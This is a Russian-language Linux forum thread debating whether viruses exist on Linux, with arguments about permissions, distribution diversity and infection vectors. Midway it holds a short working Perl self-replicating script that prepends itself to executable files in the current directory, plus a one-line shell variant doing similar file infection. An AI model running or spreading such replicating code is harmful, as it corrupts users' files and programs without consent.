drBatty
а он работает?
В командной строке надо передать путь заражаемого файла. Или --help, чтобы вывести справку.
В Windows компьютер имеет вас!
Настоятельно просим вас при общении соблюдать Правила форума и законы РФ. Наша тематика вне политики, поэтому воздержитесь от обсуждения ситуации на Украине и связанных с ней событий, независимо от того, какую сторону вы поддерживаете.
Также напоминаем, что наш форум находится в доменной зоне .ru, физически расположен на российских серверах и мы соблюдаем действующее законодательство России. Любые сообщения о политике будут удаляться.
Linux Forum → Разговоры о Linux и не только → Поделитесь своим мнением о вирусах в Linux
drBatty
а он работает?
В командной строке надо передать путь заражаемого файла. Или --help, чтобы вывести справку.
drBatty
а он работает?
В командной строке надо передать путь заражаемого файла. Или --help, чтобы вывести справку.
...э... ну вы сами понимаете...
...то, что такой "вирус" можно на любом ЯП написать, хоть на sed. Речь-то не об этом....
А о чем? Изъясняйтесь яснее тогда, когда говорите "вирусов нет".
Слушайте, а о чем вы тут спорите? Я уже потерял нить!.. Так есть ли вирусы, ли нет?
Так есть ли вирусы, ли нет?
скорее всего есть, только их не распространяют дальше некого НИИ или как там это у америкосов называется?
три года назад по стране пробежался Penetrator, который попортил не один компьютер.
у меня есть его исходный код, который я получил, распаковав исполняемый файл.
я сейчас что, должен сохранить этот код в файл virus.pl, сделать его исполняемым, поднять ему права и поместить в автозагрузку?
и
ОС: Ubuntu 9.04
Этим всё сказано wink
А о чем? Изъясняйтесь яснее тогда, когда говорите "вирусов нет".
а вы не знаете что такое вирус? oO
а я от вас такого не ожидал...
вот что пишет вика: (выделение не моё)
Компью́терный ви́рус — разновидность компьютерных программ, отличительной особенностью которой является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру. По этой причине вирусы относят к вредоносным программам.
Неспециалисты ошибочно относят к компьютерным вирусам и другие виды вредоносных программ — трояны, программы-шпионы и даже спам.[1] Известны десятки тысяч компьютерных вирусов, которые распространяются через Интернет по всему миру.
Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).
И где в вашей программе саморепликация? Изменить файл, так, что-бы он выполнял другие функции, можно и без вашего скрипта, ручками. Вот только к вирусам это не имеет абсолютно никакого отношения.
Когда я говорю "вирусов нет", я выражаюсь вроде достаточно ясно?
Так есть ли вирусы, ли нет?
вирусов в Linux нет, есть другое вредоносное ПО.
есть другое вредоносное ПО.
Например, "пользователь обыкновенный" :cool:
Teocally, Александёр! Злой ты!)))
drBatty
Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.
И где в вашей программе саморепликация?
Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
Камрад!
А ты-то зачем мыло съел???
Это ж безумно интересно - давай выкладывай!
Ну чего, теперь тебя уговаривать?!!
Например, "пользователь обыкновенный"
репутации у вас нет - плюсануть не получится. потому просто +500 
Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.
это не относится ко мне. и в этой теме тоже.
Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
зачем сразу с правами рута? что мешает заражать программы пользователя в огороженном загоне? я вовсе не подбиваю вас на:
Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).
но выложить саморазмножающуюся программу без вредоносных функций вполне можно
(ну предупредите на всякий: на боевых серверах с правами рута не запускать, хотя... ССЗБ).
Если программа просто размножается, и при этом не пытается ничего портить, и не повышает свои привилегии, она никак не попадает под статью.
#!/usr/bin/perl
open(I,$0); $sign = <I>;
while ($filename = glob("./*")) {
if (-f $filename && -x $filename && -w $filename && open(FILE, $filename) && <FILE> eq $sign) {
@strings = <FILE>;
@virstr[0..10] = <I>;
open(FILE,">$filename");
print FILE $sign;
print FILE @virstr;
print FILE @strings;
};
};Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.
Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.
так и знал - поиск привинтили 
это конечно круто, но чем это отличается от rm -rf /.string* или скажем
file: virus.sh
#!/bin/sh
find . -type f -name "string*" -exec cat ./virus.sh '{}' >/tmp/123 && mv /tmp/123 '{}' \;тоже "заражает, и дописывает себя в начало каждого файла", только тут одна строчка shell, не считая sha-bang.
На sed несложно реализовать и работоспособность приложений, и даже скрытность. Но нерешёнными остаются практически все вопросы, которые я поставил в самом начале темы:
1) путь заражения: как попадает вирус на компьютер? в большинстве случаев через кряк. Антивирусы эффективны лишь на 19%, а против новых и старых полиморфных - бессильны, и потому не в состоянии остановить заражение. А как вы думаете, зачем пишут кряки? От любви к искусству? Вы отстали от времени лет на 15 - это бизнес. А в Linux'е кряков нет. И фотошопа нет, и кряка к нему нет тоже...
2) возможность заражения: в Windows файлы ни принадлежат никому, т.е. принадлежат всем - у них нет хозяина. А ещё у них нет прав. Точнее есть - сразу все и для всех. В Linux все системные файлы принадлежат руту, и юзер их не в состоянии изменить. Кроме того, в Linux очень неудобно работать с правами рута, в венде - с точностью наоборот.
3) невозможность скрыться: в linux изначально присутствуют доступные утилиты мониторинга. Это не венда, с невнятным svchost или fdjjs534mdf.sys - каждый процесс имеет свою легко находимую точку старта, и даже если юзер сомневается, он всегда может набрать man fdjjs534mdf.sys, и узнать всё необходимое (и/или погуглить). Кроме того, нет реестра, с его многочисленными (десятки их, если не сотни) точками старта.
4) разные дистрибутивы: универсальный вирус подо все дистры написать практически невозможно, а спец-вирус например для убунты никогда не наберёт критической для эпидемии массы (даже если все 100% компов будут под Linux'ом. Но ведь уж точно не 100% будут под убунтой. Сомневаюсь, что хоть 20%).
5) форма передачи. вирус должен очень плотно взаимодействовать с системой, надеюсь это понятно. Но как мы будем распространять наш вирус? бинарником? не пойдёт - ядро-то у всех разное, что уж говорить про ПО. В виде исходников? Ага, юзеры совсем идиоты? В виде пакетов? см. п4.
вы предложили решение разве что для п5, но ваше решение противоречит п3 - юзер заглянет в ваш скрипт, а если не поймёт, то и не запустит. Возможно это решает п4, но лишь для тех юзеров, которые одновременно:
устанавливают софт в свой юзерспейс
запускают там всякую непонятную гадость
я сомневаюсь, что таких много.
п1, п2, и п3 так и остались нераскрытыми...
п1, п2, и п3 так и остались нераскрытыми...
Элементарно - официальные пакеты с репозитория, подвергнутые "обработке" или с неофициальных репозиториев.
По крайней мере удалить все файлы из рабочего каталога - очень диструктивная функция.
Я уже неоднократно говорил что файловые вирусы невыгодны для linux. Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.
п1, п2, и п3 так и остались нераскрытыми...
Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.
примерчик можно? или Вы начитались статей про червь(вирус) Морриса?
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
http://ru.wikipedia.org/wiki/Вредоносны … ных_систем
И пожалуйста, не стройте из себя незнайку.
AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:
сама возможность массового заражения и распространения маловероятна, и ни один из вирусов, написанных для Linux (включая перечисленные ниже), никогда не размножался успешно на большом количестве машин. Кроме того, уязвимости в безопасности, которые эксплуатируются вирусами, были установлены и исправлены вскоре после (или прежде) того, как использовавшие их вирусы начали распространяться. Таким образом вирусы не несут в себе большой угрозы, если система обновляется регулярно.
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
Сомневаюсь, даже больше могу добавить- получить доступ могут всё, даже 3х летний ребёнок путём битья по клавиатуре и угадав пароль и потом тем же методом свалив систему. Тут главное стоит учесть, а получит ли червь права рута? :rolleyes:
По своему примеру скажу- Linux использую уже 4 года, фаервол выключен по умолчанию, антивирусное ПО вообще отсутствует. Не разу ещё система не падала по вине ВИРУСА, только по своей по воли моей фантазии и издевательств над ней, причём в большинстве случаев, всё просто восстанавливалось. С таким же успехом, на Windows, при настроеном фаерволе, при Ноде или Каспере (обновляющимся регулярно!!) систему валил какой нить Парит или ещё ВинЧих, несколько раз в месяц.
Вирусы на ЛИНУКС ау, вы где?? Может вам мой IP дать, ну а порты все открыты ВЕЛКОМ. :lol:
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
выкладывай, я не против... 
у меня есть образ раздела с ОС, так что переустановить его - дело двух минут.
готов рискнуть! 
Да и изучить можно wink.
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
И пожалуйста, не стройте из себя незнайку.
Еще раз повторюсь - пример в студию! И пожалуйста, не стройте из себя знайку
AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:
Если уж цитируете, то цитируйте без отрыва от контекста:
Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...
step_slim пишет:AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:Если уж цитируете, то цитируйте без отрыва от контекста:
Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.
Iskan Der
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай. Текст делится на введение, основную часть и заключение, я выбрал главную часть и её процитировал.
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Соглашусь с Германом, может пересчитаем сколько у кого серверов, как бе обоснуйте под тем что цитируете, уважаемый Iskan Der.
Hvzh пишет:"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай
Только такое выборочное цитирование искажает смысл исходного утверждения, что не есть правильно, на мой взгляд.
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?
Разумеется. На серверах совершенно другой уровень требований к безопасности и, соотвественно, мер по ее обеспечению. Что касается клиентских машин, то:
1. их гораздо больше (т.е. больше целевая аудитория)
2. уровень их защиты значительно ниже (иногда вообще никакой)
3. квалификация обслуживающего персонала (т.е. пользователей) тоже не намного выше плинтуса.
Одним словом, заразить такие машины значительно легче, а большое их число позволяет обеспечить достаточную массовость заражения.
Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)
Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)
Вирус вирусу рознь. Есть и тупые поделки начинающих, но много о себе возомнивших кулхацкеров, попадаются и вполне профессиональные изделия.
Если червь не рушит систему, значит это его собственная смерть.
Можно хоть весь жесткий диск отформатировать или удалить документы. Но тем самым гадость проявит себя и ее смерть незамедлительна.
Поэтому все вредоносы-долгожители стараются не проявлять себя и оставлять следов. Но это не значит что они не могут нарушить работоспособность системы.
Гораздо выгоднее получить управление через систему удаленного администрирования, зомбировать или расслылать спам.
И еще. Безопасность - не значит "отсутствие опасности".
Linux Forum → Разговоры о Linux и не только → Поделитесь своим мнением о вирусах в Linux
Форум работает на PunBB, при поддержке Informer Technologies, Inc